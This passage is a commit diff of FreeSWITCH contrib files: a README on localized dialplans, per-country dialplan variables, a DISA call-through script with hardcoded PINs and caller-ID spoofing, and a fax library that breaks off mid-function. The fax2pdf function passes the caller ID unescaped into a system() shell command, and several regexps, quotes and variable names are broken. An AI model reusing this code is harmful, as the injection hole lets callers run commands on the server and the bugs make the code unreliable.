+simulate what the PSTN normally provides.  It is not intended to provide a 
+black list of numbers, what may be high cost, etc.  With that said, if you 
+want to add variables that would define these things I suggest that you add
+them at the end of the file instead of mixed throughout.  This makes it 
+easier if someone wants a clean dialplan vs someone who wants to implement 
+advanced features.
+
+The reason to make a dialplan that matches what the traditional phone company
+does is simply so that users feel more comfortable using the phone system.
+It is bothersome, to me at least, to have to learn a whole new way to place
+calls, especially when it is trivial to map what I dial as a user to what
+some foreign system expects.
+
+
+
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+EXPLANATION OF DIALPLAN
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+There are multiple files and it can become a little confusing, so I will attempt
+to explain how to use this information should you decide to.  My hope is that it
+will eventually be part of the default config, until then you must manually
+configure this.
+
+localized.dialplan.xml is a DIALPLAN file.  You must edit your dialplan,
+typically in INSTALL/conf/dialplan/default.xml where INSTALL is your
+install directory (eg /usr/local/freeswitch on unix like systems).
+
+If you want this to be used *with* your default context you must remove
+the lines
+
+
+<context name="default">
+</context>
+
+and place the remainder in the default context tags.  
+
+
+They have their own context tags so that they may be used seperately
+should you opt to do that.  
+
+
+
+
+
+-=- IMPORTANT -=- IMPORTANT -=- IMPORTANT -=- IMPORTANT -=- IMPORTANT -=- 
+
+dont just leave regexps undefined that may cause matches to occur that 
+shouldnt.  Instead use the regexp DONT_MATCH_ME or something similar that will 
+never cause a match.  dialplan.es.xml uses this if you need an example 
+
+-=- IMPORTANT -=- IMPORTANT -=- IMPORTANT -=- IMPORTANT -=- IMPORTANT -=- 
+
+
+
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+EXPLANATION OF THE VARIABLE FILES
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+There are several variable files, one for a given region that has been done
+so far.  These variables are used by the dialplan to figure out how to
+deal with a call.  An attempt is made to query enum, if that fails
+then it will use the default gateway that is defined.
+
+You may set these variables globally by setting it for the domain, or you
+may set them on a per user basis from the user directory.  Or a mix, user vars
+override the domain.  The option is yours.
+
+There are two types of variables, static which are simply strings, 
+and regexps.  Due to the way variables are used you should not 
+attempt to use a regexp unless it is indicated that it is a regexp.
+
+<!--
+TYPE: static
+anything that gets sent before the E.164 formatted number to the provider
+If you dont need anything leave it blank
+-->
+<variable name="dial_prefix" value=""/>
+
+<!--
+TYPE: static
+Whether or not to use enum
+-->
+<variable name="use_enum" value="true"/>
+
+<!--
+TYPE: static
+The name for the gateway to send calls to if ENUM fails
+This name would be defined in your sip profile.
+-->
+<variable name="default_gateway" value="telco.com"/>
+
+
+
+<!--
+TYPE: static
+This is the country code, it should be numeric only and static
+-->
+<variable name="default_country_code" value="31"/>
+
+
+
+<!--
+TYPE: static
+This is the international prefix.  This is static data
+-->
+<variable name="default_international_prefix" value="00"/>
+
+<!--T
+TYPE: regexp
+this matches international dialing.  In this example I dial
+00 country code & number for international calls. This matches 
+everything except the 00 so that an ENUM lookup can be performed
+-->
+<variable name="default_international_regexp" value="^00(\d+)$"/>
+
+
+<!--
+TYPE: regexp
+This matches when I dial out of my 'area'.  For example if I am in Cork, 
+Ireland, and I want to call a mobile phone I dial 08...  The leading '0' 
+indicates that I am calling outside my local area (Cork is '20') to '8'.
+We need to strip off the '0' since it is just a dialing prefix and not 
+part of the number itself
+-->
+<variable name="default_domestic_regexp" value="^0([1-9]\d+)$"/>
+
+
+
+<!--
+TYPE: static
+This is the local prefix.  For example, in Ireland
+if I am in Cork my 'city code' is 20.  If I dial
+a local number I do not have to dial the '20'.  This is 
+used for enum to work on a 'local' call.
+-->
+<variable name="default_local_prefix" value="20"/>
+
+
+
+<!--
+TYPE: regexp
+This is what would match if I am in Cork and call someone else
+who is in Cork.  The default_local_prefix variable is used to
+make a full ENUM number.
+-->
+<variable name="default_local_regexp" value="^([1-9]\d+)$"/>
+
+
+
+<!--
+TYPE: regexp
+This is what matches to route a call to emergency services.
+It may optionally be used for more services than that, it is just 
+directly routed without enum.  For Europe generally 112 will work, for
+North America 911 will work.  This can be a regexp which will allow for
+routing of say 611 (repair), 411 (information), 911 (emergency) in
+NANPA.
+-->
+<variable name="default_emergency_number" value="^112$"/>
+
+
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+HOW TO MAKE A DIALPLAN
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+This is quite simple, just copy one of the existing dialplan.XX.xml files
+to dialplan.YY.xml where YY is the 2 letter country code for the area you
+are going to do.  For Europe the NL one will likely be correct for all but
+the country code.
+
+The reason to use the 2 letter ISO country code (IE - Ireland, UK - United Kingdom
+ES - Spain, etc) is so that everything is standardized and generally a fixed length.
+One exception I am aware of is NANPA which is 18 or so countries (all country code '1')
+Since there are multiple countries the numbering authority is used instead.
+
+Please keep all filenames in lowercase.  This helps with sorted lists, since
+an ASCII sort would split entries that have different cases when they should
+otherwise be next to each other.
+
+Now that you have a new file, simply edit the values and you are done.  If you share
+this information then others may more easily have a dialing plan that works the way
+they expect it to.  
+
+DONT FORGET TO ADD YOUR NAME IN COMMENTS AT THE TOP OF THE FILE.  I cannot
+possibly know every dialing plan that exists, and for now since I am maintaining
+this, someone may have a question about something that I wont be able to answer.
+It would be best if they could get hold of you directly to resolve any issues
+that may arise.
+
+Email the file to trixternospam@0xdecafbad.com and I will add it here.  Eventually
+there will be a place with fswebpanel to provide this information, and its possible
+that this may be merged into FS trunk, when either of those happen I will close this
+area down and request that they be filed directly where they can be used by more
+people more easily.

Deleted: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.be.xml

Copied: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.be.xml (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan/dialplan.be.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.be.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.be.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+<!-- belgium -->
+<!-- include this in the USER DIRECTORY variables section -->
+
+<!-- anything we need to send to the provider before we send the number -->
+<variable name="dial_prefix" value=""/>
+
+<!-- do we use enum? -->
+<variable name="use_enum" value="true"/>
+
+<!-- this is the default gateway to send calls to if enum fails -->
+<variable name="default_gateway" value="telco.com"/>
+
+<!-- the country code, only numeric -->
+<variable name="default_country_code" value="32"/>
+
+<!-- variable for international dialing -->
+<variable name="default_international_prefix" value="00"/>
+
+<!-- variable for local prefix -->
+<variable name="default_local_prefix" value="20"/>
+
+<!-- What matches international dialing -->
+<variable name="default_international_regexp" value="^00(\d+)$"/>
+
+<!-- What matches a domestic out of area call -->
+<variable name="default_domestic_regexp" value="^0([1-9]\d{8})$"/>
+
+<!-- What matches a local same area call -->
+<variable name="default_local_regexp" value="^([1-9]\d(5,6})$"/>
+
+<!-- What is dialed for direct routed stuff like emergency numbers -->
+<variable name="default_emergency_number" value="^112$"/>

Deleted: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.de.xml

Copied: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.de.xml (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan/dialplan.de.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.de.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.de.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+<!-- germany -->
+<!-- include this in the USER DIRECTORY variables section -->
+
+<!-- anything we need to send to the provider before we send the number -->
+<variable name="dial_prefix" value=""/>
+
+<!-- do we use enum? -->
+<variable name="use_enum" value="true"/>
+
+<!-- this is the default gateway to send calls to if enum fails -->
+<variable name="default_gateway" value="telco.com"/>
+
+<!-- the country code, only numeric -->
+<variable name="default_country_code" value="49"/>
+
+<!-- variable for international dialing -->
+<variable name="default_international_prefix" value="00"/>
+
+<!-- variable for local prefix -->
+<variable name="default_local_prefix" value="20"/>
+
+<!-- What matches international dialing -->
+<variable name="default_international_regexp" value="^00(\d+)$"/>
+
+<!-- What matches a domestic out of area call -->
+<variable name="default_domestic_regexp" value="^0([1-9]\d{4,13})$"/>
+
+<!-- What matches a local same area call -->
+<variable name="default_local_regexp" value="^([1-9]\d(2,11})$"/>
+
+<!-- What is dialed for direct routed stuff like emergency numbers -->
+<variable name="default_emergency_number" value="^112$"/>

Deleted: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.es.xml

Copied: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.es.xml (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan/dialplan.es.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.es.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.es.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,40 @@
+<!-- include this in the USER DIRECTORY variables section -->
+<!--                        SPAIN                         -->
+
+
+<!-- Created by David Villasmil, davidcsi@hotmail.com -->
+
+<!-- anything we need to send to the provider before we send the number -->
+<variable name="dial_prefix" value=""/>
+
+<!-- do we use enum? -->
+<variable name="use_enum" value="true"/>
+
+<!-- this is the default gateway to send calls to if enum fails -->
+<variable name="default_gateway" value="asterlink.com"/>
+
+<!-- the country code, only numeric -->
+<variable name="default_country_code" value="34"/>
+
+<!-- variable for international dialing -->
+<variable name="default_international_prefix" value="00"/>
+
+<!-- variable for local prefix/area code -->
+<variable name="default_local_prefix" value="^[89]\d+$"/>
+
+<!-- variable for cell prefix/area code -- UNUSED CURRENTLY -->
+<variable name="default_cell_prefix" value="^6\d+$"/>
+
+<!-- What matches international dialing -->
+<variable name="default_international_regexp" value="^00(\d+)$"/>
+
+<!-- What matches a domestic out of area call -->
+<!-- Doesn't apply to Spain, all calls are local calls, meaning all numbers begin with 9/8 -->
+<variable name="default_domestic_regexp" value="^DONT_MATCH_ME$"/>
+
+<!-- What matches a local same area call -->
+<!-- Doesn't apply to Spain, all calls are local calls, meaning all numbers begin with 9 -->
+<variable name="default_local_regexp" value="^DONT_MATCH_ME$"/>
+
+<!-- What is dialed for direct routed stuff like emergency numbers -->
+<variable name="default_emergency_number" value="^091$/>

Deleted: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.ie.xml

Copied: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.ie.xml (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan/dialplan.ie.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.ie.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.ie.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+<!-- ireland -->
+<!-- include this in the USER DIRECTORY variables section -->
+
+<!-- anything we need to send to the provider before we send the number -->
+<variable name="dial_prefix" value=""/>
+
+<!-- do we use enum? -->
+<variable name="use_enum" value="true"/>
+
+<!-- this is the default gateway to send calls to if enum fails -->
+<variable name="default_gateway" value="telco.com"/>
+
+<!-- the country code, only numeric -->
+<variable name="default_country_code" value="353"/>
+
+<!-- variable for international dialing -->
+<variable name="default_international_prefix" value="00"/>
+
+<!-- variable for local prefix -->
+<variable name="default_local_prefix" value="20"/>
+
+<!-- What matches international dialing -->
+<variable name="default_international_regexp" value="^00(\d+)$"/>
+
+<!-- What matches a domestic out of area call -->
+<variable name="default_domestic_regexp" value="^0([1-9]\d{5,9})$"/>
+
+<!-- What matches a local same area call -->
+<variable name="default_local_regexp" value="^([1-9]\d(4,8})$"/>
+
+<!-- What is dialed for direct routed stuff like emergency numbers -->
+<variable name="default_emergency_number" value="^112$"/>

Deleted: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.nanpa.xml

Copied: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.nanpa.xml (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan/dialplan.nanpa.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.nanpa.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.nanpa.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+<!-- include this in the USER DIRECTORY variables section -->
+
+<!-- anything we need to send to the provider before we send the number -->
+<variable name="dial_prefix" value=""/>
+
+<!-- do we use enum? -->
+<variable name="use_enum" value="true"/>
+
+<!-- this is the default gateway to send calls to if enum fails -->
+<variable name="default_gateway" value="asterlink.com"/>
+
+<!-- the country code, only numeric -->
+<variable name="default_country_code" value="1"/>
+
+<!-- variable for international dialing -->
+<variable name="default_international_prefix" value="011"/>
+
+<!-- variable for local prefix/area code -->
+<variable name="default_local_prefix" value="800"/>
+
+<!-- What matches international dialing -->
+<variable name="default_international_regexp" value="^011(\d+)$"/>
+
+<!-- What matches a domestic out of area call -->
+<variable name="default_domestic_regexp" value="^1?([2-9]\d{2}[2-9]\d{6})$"/>
+
+<!-- What matches a local same area call -->
+<variable name="default_local_regexp" value="^([2-9]\d{6})$"/>
+
+<!-- What is dialed for direct routed stuff like emergency numbers -->
+<!-- http://www.nanpa.com/number_resource_info/n11_codes.html -->
+<variable name="default_emergency_number" value="^[2-9]11$"/>

Deleted: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.nl.xml

Copied: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.nl.xml (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan/dialplan.nl.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.nl.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.nl.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+<!-- include this in the USER DIRECTORY variables section -->
+
+<!-- anything we need to send to the provider before we send the number -->
+<variable name="dial_prefix" value=""/>
+
+<!-- do we use enum? -->
+<variable name="use_enum" value="true"/>
+
+<!-- this is the default gateway to send calls to if enum fails -->
+<variable name="default_gateway" value="telco.com"/>
+
+<!-- the country code, only numeric -->
+<variable name="default_country_code" value="31"/>
+
+<!-- variable for international dialing -->
+<variable name="default_international_prefix" value="00"/>
+
+<!-- variable for local prefix -->
+<variable name="default_local_prefix" value="20"/>
+
+<!-- What matches international dialing -->
+<variable name="default_international_regexp" value="^00(\d+)$"/>
+
+<!-- What matches a domestic out of area call -->
+<variable name="default_domestic_regexp" value="^0([1-9]\d{8})$"/>
+
+<!-- What matches a local same area call -->
+<variable name="default_local_regexp" value="^([1-9]\d(6,7})$"/>
+
+<!-- What is dialed for direct routed stuff like emergency numbers -->
+<variable name="default_emergency_number" value="^112$"/>

Deleted: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.ve.xml

Copied: freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.ve.xml (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan/dialplan.ve.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.ve.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/dialplan/dialplan.ve.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+<!-- include this in the USER DIRECTORY variables section -->
+<!--                      VENEZUELA                       -->
+
+<!-- Created by David Villasmil, davidcsi@hotmail.com -->
+<!-- anything we need to send to the provider before we send the number -->
+<variable name="dial_prefix" value=""/>
+
+<!-- do we use enum? -->
+<variable name="use_enum" value="true"/>
+
+<!-- this is the default gateway to send calls to if enum fails -->
+<variable name="default_gateway" value="asterlink.com"/>
+
+<!-- the country code, only numeric -->
+<variable name="default_country_code" value="58"/>
+
+<!-- variable for international dialing -->
+<variable name="default_international_prefix" value="00"/>
+
+<!-- variable for local prefix/area code -->
+<variable name="default_local_prefix" value="^[2-9]\d+$"/>
+
+<!-- variable for cell prefix/area code UNUSED CURRENTLY -->
+<variable name="default_cell_prefix" value="041\d+"/>
+
+<!-- What matches international dialing -->
+<variable name="default_international_regexp" value="^00(\d+)$"/>
+
+<!-- What matches a domestic out of area call -->
+<variable name="default_domestic_regexp" value="^02\d+$"/>
+
+<!-- What matches a local same area call -->
+<variable name="default_local_regexp" value="^[2-9]\d+$"/>
+
+<!-- What is dialed for direct routed stuff like emergency numbers -->
+<variable name="default_emergency_number" value="^091$/>
+
+

Deleted: freeswitch/branches/seven/contrib/trixter/dialplan/localized.dialplan.xml

Copied: freeswitch/branches/seven/contrib/trixter/dialplan/localized.dialplan.xml (from rev 14471, freeswitch/trunk/contrib/trixter/dialplan/localized.dialplan.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/dialplan/localized.dialplan.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/dialplan/localized.dialplan.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,65 @@
+<context name="default">
+  <extension name="localized-dialplan">
+    <!-- make sure that stuff is set or abort -->
+    <condition field="${default_emergency_number}" expression="^$" break="on-true"/>
+    <condition field="${default_international_regexp}" expression="^$" break="on-true"/>
+    <condition field="${default_domestic_regexp}" expression="^$" break="on-true"/>
+    <condition field="${default_local_regexp}" expression="^$" break="on-true"/>
+
+    <!--
+	Emergency service - verify your provider really supports this
+      -->
+    <condition field="${destination_number}" expression="${default_emergency_number}" continue="true" break="never">
+      <action application="set" data="hangup_after_bridge=true"/>
+      <action application="export" data="nolocal:jitterbuffer_msec=180"/>
+      <action application="bridge" data="sofia/gateway/${default_gateway}/$1"/>
+    </condition>
+    <!--
+	For international
+      -->
+    <condition field="${destination_number}" expression="${default_international_regexp}" continue="true" break="never">
+      <action application="set" data="e164number=$1"/>
+    </condition>
+    <!--
+	For in country but out of area
+      -->
+    <condition field="${destination_number}" expression="${default_domestic_regexp}" continue="true" break="never">
+      <action application="set" data="e164number=${default_country_code}$1"/>
+    </condition>
+    <!--
+	For same city calls
+      -->
+    <condition field="${destination_number}" expression="${default_local_regexp}" continue="true" break="never">
+      <action application="set" data="e164number=${default_country_code}${default_local_prefix}$1"/>
+    </condition>
+
+
+    <!-- 
+	 this is a kluge to get around a limitation in the dialplan logic
+	 variables are expanded in the condition tags *before* any applications are processed
+	 as a result we cant set a variable in the dialplan that is used as a condition
+	 so we cheat here
+      -->
+    <condition field="${destination_number}" expression="${default_international_regexp}|${default_domestic_regexp}|${default_local_regexp}" continue="true" break="false"/>
+
+    <!--
+	Dial the call
+      -->
+    <condition>
+      <action application="export" data="nolocal:jitterbuffer_msec=180"/>
+      <action application="set" data="continue_on_fail=true"/>
+      <action application="set" data="hangup_after_bridge=true"/>
+      <action application="set" data="call_timeout=45"/>
+      <action application="set" data="hangup_after_bridge=true"/>
+      <action application="set" data="continue_on_fail=true"/>
+    </condition>
+    <condition field="${use_enum}" expression="^yes$" continue="true" break="never">
+      <action application="enum" data="${e164number}"/>
+      <action application="bridge" data="${enum_auto_route}"/>
+    </condition>
+    <condition>
+      <action application="bridge" data="sofia/gateway/${dial_prefix}${default_gateway}/${e164number}"/>
+    </condition>
+  </extension>
+
+</context>

Deleted: freeswitch/branches/seven/contrib/trixter/disa.js

Copied: freeswitch/branches/seven/contrib/trixter/disa.js (from rev 14471, freeswitch/trunk/contrib/trixter/disa.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/disa.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/disa.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,214 @@
+//  -*- mode:c; tab-width:4; c-basic-offset:4; indent-tabs-mode:nil;  -*-
+// DISA (Direct Inward System Access) script
+// basically it provides a dialtone for callers, who can then call out
+// on presumably a cheaper rate plan, in addition providing a unified
+// caller id presence for return calls
+//
+// Written by Bret McDanel <trixter AT 0xdecafbad.com>
+//
+// Additions/Updates by
+//
+//
+// This file is licensed under the Trixter General License (TGL) v 1.0
+// You may use this program however you want, so long as you follow the
+// below terms:
+// 1. You may not make this program GNU Public Licensed (GPL)
+// 2. Copyright notices must remain intact
+// 3. You acknowledge this program is useful for nothing, and that if you
+//    do use it in any way any authors, contributing or original are not
+//    held liable for any losses or damage that results from using it
+// 4. Terms 1 and 2 may not be altered and must be distributed in future copies
+// 5. At your option you may remove condition 3 providing that you assume responsibility
+//    from that point on
+
+
+// START OF CONFIGURATION SECTION
+
+var pinmax    = 10;   // maximum length of a pin - 0 disables pins
+var pinwait   = 5000; // ms to wait for pin entry
+var pinterm   = "#";  // terminator char for pin entry - cant be part of the pin number
+var pinmaxtry = 3;    // maximum number of times to ask for a pin before giving up
+
+var nummaxlen = 11;   // maximum length of a dialed numner
+var numterm   = "#";  // terminator for destination number
+var numwait   = 5000; // ms for them to enter the destination number
+
+/* these are used only if we bridge and not transfer */
+var newSession = false;            // set to true to make a new session and bridge
+                                   // set to false to use 'transfer' instead
+var dialprefix = "sofia/default/"; // prefix for outbound calls
+var dialpostfix = "@somehost.tld"; // postfix for outbound calls, set to "" if not needed
+var timeout    = 60;               // outbound calling timeout in seconds
+
+
+var CLID_name = "The Omega Corporation"; // will use inbound caller's info if commented
+                                         // if you dont know who this is, watch more
+                                         // monty python
+var CLID_num  = "18005551212";           // will use inbound caller's info if commented
+
+// Sound files that are required - if they are commented they will be skipped
+var snd_prefix      = "/sounds/";        // sound directory prefix - end in /
+var snd_getpin      = "get-pin.raw";     // prompt asking for their pin number
+                                         // cannot be commented - disable by seeing pinmax=0
+var snd_blacklisted = "blacklisted.raw"; // inform them to go away
+var snd_pinfail     = "bad-pin.raw";     // sound file to play when they enter a bad pin
+var snd_pinbye      = "goodbye.raw";     // when they exhausted pin attempts and didnt auth
+var snd_getdest     = "enternum.raw";    // "enter the telephone number you wish to call"
+
+
+// this is the regexps of caller id information that is blacklisted
+// dont forget that Javascript/ECMAScript requires you to escape \ so use \\
+// in regexps
+blacklisted = new Array (new RegExp("^1900\\d{7}$"), // US/CA premium numbers
+                         new RegExp("^1710\\d{7}$")  // US Government DARPA network
+                         );
+                         
+                         
+// this is the regexps of automatically authenticated callers
+whitelisted = new Array (new RegExp("^1337$") // they are elite!
+                         );
+
+// Array of PINs for access, in this case an account number would amount to a
+// 'secondary pin' although most likely more well known.  This information could
+// be obtained from a DB or HTTP resource instead, but in a simple example that is
+// overkill - fetchURLHash for example returns an array so it makes it easy to replace
+pins = new Array ("1234", // Alice
+                  "5678"  // Bob
+                  );
+
+
+
+
+// END OF CONFIGURATION SECTION
+
+
+                                                  
+// This function matches session.caller_id_num against an array of RegExps that is passed
+// and returns a boolean determining if there was a match, useful for whitelist/blacklisting
+function CIDMatch(regexps)
+{
+    if(typeof regexps != "undefined") {
+        for (var i=0; i<regexps.length; i++) {
+            if(arrMatch = regexps[i].exec(session.caller_id_number)) {
+                return true;
+            }
+        }
+        return false;
+    }
+}
+
+
+// this function strips a listed character out of a string
+function removeChr(str,chr)
+{
+    var newStr = "";
+
+    for(var i=0;i<str.length;i++) {
+        if(str.substr(i,1) != chr) { newStr += str.substr(i,1); }
+    }
+
+    return newStr;
+}
+
+
+// this is the dtmf callback function - in a nice generic way
+function main_cb(type,digits,args)
+{
+    if(type == "dtmf") {
+        if(digits!='false') { return digits; }
+        return false; // stop playback if any
+    }
+    return true; // we can be here if we got an event perhaps text chat
+}
+
+
+
+
+
+// MAIN PROGRAM ENTRY POINT
+
+if(CIDMatch(blacklisted)) {
+    if(typeof snd_blacklisted != "undefined") {
+        session.streamFile(snd_prefix+snd_blacklsited);
+    }
+    console_log(session.caller_id_num + " is blacklisted\n");
+    exit();
+}
+
+session.answer();
+
+if(!CIDMatch(whitelisted)) {
+    // Get a pin number
+    if(pinmax > 0) {
+        var isAuthed=false;
+        for(var curpintry=0; isAuthed == false && curpintry < pinmaxtry; curpintry++) {
+            session.flushDigits(); // clear out input buffers
+            if((pin=session.streamFile(snd_prefix+snd_getpin,main_cb,""))==false) {
+                pin=session.getDigits(pinmax,pinterm,pinwait);
+            } else {
+                pin+=session.getDigits(pinmax-1,pinterm,pinwait);
+            }
+
+            pin = removeChr(pin,pinterm); // make sure the didnt enter it during the prompt
+
+            if(pin != "" && pin != "false") {
+                for (var i=0;i<pins.length && isAuthed==false;i++) {
+                    if(pins[i] == pin) {
+                        console_log("checking pin against " + pins[i] + "\n");
+                        isAuthed=true;
+                    }
+                }
+            }
+
+            if(isAuthed == false) {
+                if(typeof snd_pinfail != "undefined") {
+                    session.streamFile(snd_prefix+snd_pinfail);
+                }
+            }
+            
+        }
+
+        if(isAuthed == false) {
+            if(typeof snd_pinbye != "undefined") {
+                session.streamFile(snd_prefix+snd_pinbye);
+            }
+            console_log(session.caller_id_num + " failed to authenticate\n");
+            exit();
+        }
+    }
+}
+
+
+// there should probably be better error checking here
+// if the number doesnt work ask to get a new one
+// if the rmeote party hangs up possibly allow the caller to call someone else
+// but I got bored with this and decided it was good enough for now
+
+// Get destination number
+session.flushDigits();
+if((destnum=session.streamFile(snd_prefix+snd_getdest,main_cb,""))==false) {
+    destnum=session.getDigits(nummaxlen,numterm,numwait);
+} else {
+    destnum+=session.getDigits(nummaxlen-1,numterm,numwait);
+}
+destnum = removeChr(destnum,numterm);
+
+if(destnum.length>0) {
+    if(newSession == false) {
+        session.execute("transfer",destnum);
+    } else {
+        var Bleg = new Session();
+
+        if(typeof CLID_name != "undefined") {
+            Bleg.setCallerData("caller_id_name",CLID_name);
+        }
+        if(typeof CLID_num != "undefined") {
+            Bleg.setCallerData("caller_id_number",CLID_num);
+        }
+
+        Bleg.originate(session,dialprefix+destnum+dialpostfix,timeout);
+        bridge(session,Bleg);
+    }
+}
+
+exit();

Deleted: freeswitch/branches/seven/contrib/trixter/faxlib.jm

Copied: freeswitch/branches/seven/contrib/trixter/faxlib.jm (from rev 14471, freeswitch/trunk/contrib/trixter/faxlib.jm) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/faxlib.jm	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/faxlib.jm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,142 @@
+//  -*- mode:c; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+/*
+ *
+ * THIS IS DEPRECATED NOW - THERE IS A FUNCTION IN DPTOOLS THAT LETS YOU DO MOST
+ * OF THIS WITHOUT USING THIS SCRIPT.  DIRECT TRANSFER ON FAX CNG DETECT
+ * THIS IS HERE FOR REFERENCE AND HOW YOU MIGHT EMAIL A PDF OF A FAX
+ *
+ */
+
+/*
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH[tm] Spidermonkey Fax Manipulation Library
+ *
+ * The Initial Developer of the Original Code is
+ *
+ * Bret McDanel <bret AT 0xdecafbad dot com>
+ *
+ * Portions created by the Initial Developer are Copyright (C) 2007
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ *
+ *
+ * faxlib.jm
+ *
+ * This is a library to do fax manipulation from within Javascript in FreeSWITCH[tm]
+ * The goal of this library is to make it easier to send and receive faxes
+ *
+ *
+ * REQUIREMENTS:
+ *
+ * - A working install of socket2me from the FreeSWITCH[tm] src
+ * - tiff2pdf from libtiff tools, in your PATH [optional]
+ */
+
+
+function fax(session,socketaddr,faxFilePrefix,faxFile) {
+    this.socketaddr=socketaddr;
+    this.session=session;
+    this.faxDetect=false;
+    this.faxFilePrefix="/tmp";
+    this.faxFile=session.uuid+".tiff";
+    this.gotFax=false;
+
+    if(typeof faxFilePrefix != 'undefined') {
+        this.faxFilePrefix = faxFilePrefix;
+    }
+
+    if(typeof faxFile != 'undefined') {
+        this.faxFile = faxFile;
+    }
+
+
+
+    // disable fax cng detection
+    this.stopFaxDetect = function () {
+        if(this.faxDetect == true) {
+            this.session.execute("stop_fax_detect","");
+            this.faxDetect=false;
+        }
+    }
+
+
+    // enable fax cng detection
+    this.startFaxDetect = function () {
+        if(this.faxDetect == false) {
+            this.session.execute("fax_detect","");
+            this.faxDetect=true;
+        }
+    }
+
+
+    this.getFaxFile = function () {
+        return this.faxFilePrefix + "/" + this.faxFile;
+    }
+
+
+    // receive a fax
+    this.rxFax = function() {
+        if(typeof this.socketaddr != 'undefined') {
+            this.stopFaxDetect();
+            this.session.execute("set","fax_mode=recv"); // not needed at this time, future proofing
+            this.session.execute("set","fax_file_name=" + this.getFaxFile());
+            this.session.execute("socket",this.socketAddr);
+            fd = new File(this.getFaxFile());
+            if(fd.exists) {
+                this.gotFax=true;
+            }
+        } else {
+            console_log("SocketAddr is not set, unable to receive a fax\n");
+        }
+    }
+
+
+
+    // send a fax
+    this.txFax = function() {
+        if(typeof this.socketaddr != 'undefined') {
+            this.session.execute("set","fax_mode=send");
+            this.session.execute("set","fax_file_name=" + this.getFaxFile());
+            this.session.execute("socket",this.socketAddr);
+        } else {
+            console_log("SocketAddr is not set, unable to transmit a fax\n");
+        }
+    }
+
+
+    this.fax2pdf = function() {
+        fd = new File(this.getFaxFile());
+        if(fd.exists) {
+            outfile = this.faxFile.replace(/tiff$/i,"pdf");
+
+            if(outfile == this.faxFile) {
+                outfile = this.faxFile + ".pdf";
+            }
+            system("tiff2pdf -z -p letter -t 'FreeSWITCH FAX' -s 'Fax from " + this.session.caller_id_num + "' " +
+                   "-c FreeSWITCH -a FreeSWITCH -f -o " + this.faxFilePrefix + "/" + outfile + " " + 
+                   this.getFaxFile());
